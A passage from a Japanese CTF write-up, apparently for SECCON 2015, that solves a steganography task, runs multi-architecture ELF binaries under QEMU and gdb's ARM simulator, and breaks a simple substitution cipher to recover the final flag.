(u'content-length', u'17'), (u'x-http2-push', u'1'), (u'',
u'\x00\x01\x00\x00\x00\x02flag is in '), (u'if-modified-since', u'ader')]

Steganography 1

1つのファイルにいくつもが画像が入っています。 vim で開くと GIF が3つあるのが簡単にわかります。vim で 3つのGIFを簡単に切り出せます。 複数のタイプの画像が1つになっているので、分割すれば、問題が解けるようになっています。

Steganography 2

Steganography 3

4042

Binary 200: Individual Elebin

 Execute all ELF files
 Individual_Elebin.zip
 
 すべてのELFファイルを実行せよ
 Individual_Elebin.zip

異なるCPUアーキテクチャのELFのファイル達が用意されています。x86 な環境のため、1.bin だけが動きます。それ以外は、動きません。

$ file *.bin
1.bin:  ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), statically linked, stripped
2.bin:  ELF 32-bit MSB executable, MC68HC11, version 1 (SYSV), statically linked, stripped
3.bin:  ELF 32-bit LSB executable, NEC v850, version 1 (SYSV), statically linked, stripped
4.bin:  ELF 32-bit MSB executable, Renesas M32R, version 1 (SYSV), statically linked, stripped
5.bin:  ELF 64-bit MSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
6.bin:  ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
7.bin:  ELF 32-bit LSB executable, Motorola RCE, version 1 (SYSV), statically linked, stripped
8.bin:  ELF 32-bit LSB executable, Axis cris, version 1 (SYSV), statically linked, stripped
9.bin:  ELF 32-bit LSB executable, Atmel AVR 8-bit, version 1 (SYSV), statically linked, stripped
10.bin: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
11.bin: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped

FLAGの先頭は、以下のとおりです。

$ ./1.bin
SECCON{AaA

QEMUの下りは、試行錯誤の産物なので、意味が無いです。以前も似たような問題で、失敗した経験があります。 QEMU 祭を開催するのだと思い、エミュレータ QEMUをインストールします。

sudo apt install qemu binfmt-support qemu-user-static

試してみましたが、ことごとく、あえなく轟沈。

$ file 6.bin
6.bin: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
薫 $ qemu-sparc 6.bin 
[1]    18106 segmentation fault (core dumped)  qemu-sparc 6.bin
$ qemu-mips 11.bin 
qemu: uncaught target signal 11 (Segmentation fault) - core dumped

QEMUでCPUを推測できます。CPUを指定すると実行できました。crisv32 では、待たされたままになったので、強制終了しました。

$ qemu-cris-static -cpu help 8.bin
Available CPUs:
  crisv8
  crisv9
  crisv10
  crisv11
  crisv32
[1]    8353 exit 1     qemu-cris-static -cpu help 8.bin
薫 $ qemu-cris-static -cpu crisv32 8.bin
 
^C
[1]    8365 interrupt  qemu-cris-static -cpu crisv32 8.bin
薫 $ qemu-cris-static -cpu crisv11 8.bin
AW%
薫 $ qemu-cris-static -cpu crisv10 8.bin
AW%

実行できない...。

薫 $ qemu-m68k-static -cpu help 2.bin
cfv4e
m5206
m5208
any
[1]    8436 exit 1     qemu-m68k-static -cpu help 2.bin
薫 $ qemu-m68k-static -cpu m5208 2.bin
2.bin: Invalid ELF image for this architecture
[1]    8444 exit 255   qemu-m68k-static -cpu m5208 2.bin
薫 $ qemu-m68k-static -cpu m5206 2.bin
2.bin: Invalid ELF image for this architecture
[1]    8448 exit 255   qemu-m68k-static -cpu m5206 2.bin
薫 $ qemu-m68k-static -cpu cfv4e 2.bin
2.bin: Invalid ELF image for this architecture
[1]    8456 exit 255   qemu-m68k-static -cpu cfv4e 2.bin
薫 $ qemu-m68k-static -cpu any 2.bin  
2.bin: Invalid ELF image for this architecture
[1]    8462 exit 255   qemu-m68k-static -cpu any 2.bin

QEMUではなく、 gdb-アーキテクチャ-run みたいなコマンドで実行できます。 ARM 32-bit ELF の 10.bin は、 arm-none-eabi-run コマンドで実行できます。 Ubuntu 環境の場合は、以下のパッケージをインストールします。

sudo apt install gdb-arm-none-eabi

それでは、10.bin を実行してみましょう。

$ file 10.bin
10.bin: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
$ arm-none-eabi-run 10.bin 
8a0d28f%

arm-none-eabi-gdb を利用して、FreeBSDの amd64 (AMD 64bit)な環境で ARM用の32ビットELFを動かすことができます。

$ sudo pkg install -y arm-none-eabi-gdb
$ uname -a
FreeBSD a1.local 10.0-RELEASE-p7 FreeBSD 10.0-RELEASE-p7 #0: Tue Jul  8
06:37:44 UTC 2014
root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC  amd64
$ file 10.bin
10.bin: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
$ arm-none-eabi-gdb 10.bin
GNU gdb (GDB) 7.10
Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "--host=amd64-portbld-freebsd10.1 --target=arm-none-eabi".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from 10.bin...(no debugging symbols found)...done.
(gdb) target sim
Connected to the simulator.
(gdb) load
Loading section .text, size 0x848 vma 0x1400
Loading section .rodata, size 0xe4 vma 0x1c48
Loading section .data, size 0x4 vma 0x2000
Start address 0x1400
Transfer rate: 18816 bits in <1 sec.
(gdb) run
Starting program: /tmp/seccon201512/200_individual_elebin/Individual_Elebin/10.bin
8a0d28f[Inferior 1 (process 42000) exited normally]
(gdb) quit

Exercises 50: Last Challenge (Thank you for playing)

暗号の練習問題的な問題です。特に道具は必要はなく、 vim の中で解きました。

ex1
Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO
Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}

ex2
Cipher:EV}ZZD{DWZRA}FFDNFGQO
Plain: {HELLOWORLDSECCONCTF}

quiz
Cipher:A}FFDNEA}}HDJN}LGH}PWO
Plain: ??????????????????????

There is no bonus in this question

ここを解きます。

Cipher:A}FFDNEA}}HDJN}LGH}PWO
Plain: ??????????????????????

今までの問題で、以下の形式になっていることがわかってます。

Plain: SECCON{______________}

というわけで

Cipher:A}FFDNEA}}HDJN}LGH}PWO
Plain: SECCON{______________}

になるので

A->S
}->E
F->C
D->O
N->N
E->{
O->}

が自動的に決定しました。 それを当てはめると

Cipher:A}FFDNEA}}HDJN}LGH}PWO
Plain: SECCON{SEE_O_NE___E__}

になります。なんとなく、見えてきてますよね。 SEE YOU ... みたいになりそうです。

ここからは、 ex1 と ex1 の変換を当てはめていくと

SECCON{SEEYOUNEXTYEAR}

となりました。これが答えです。

SEE YOU NEXT YEAR ということで、また来年、というメッセージでした。

関連項目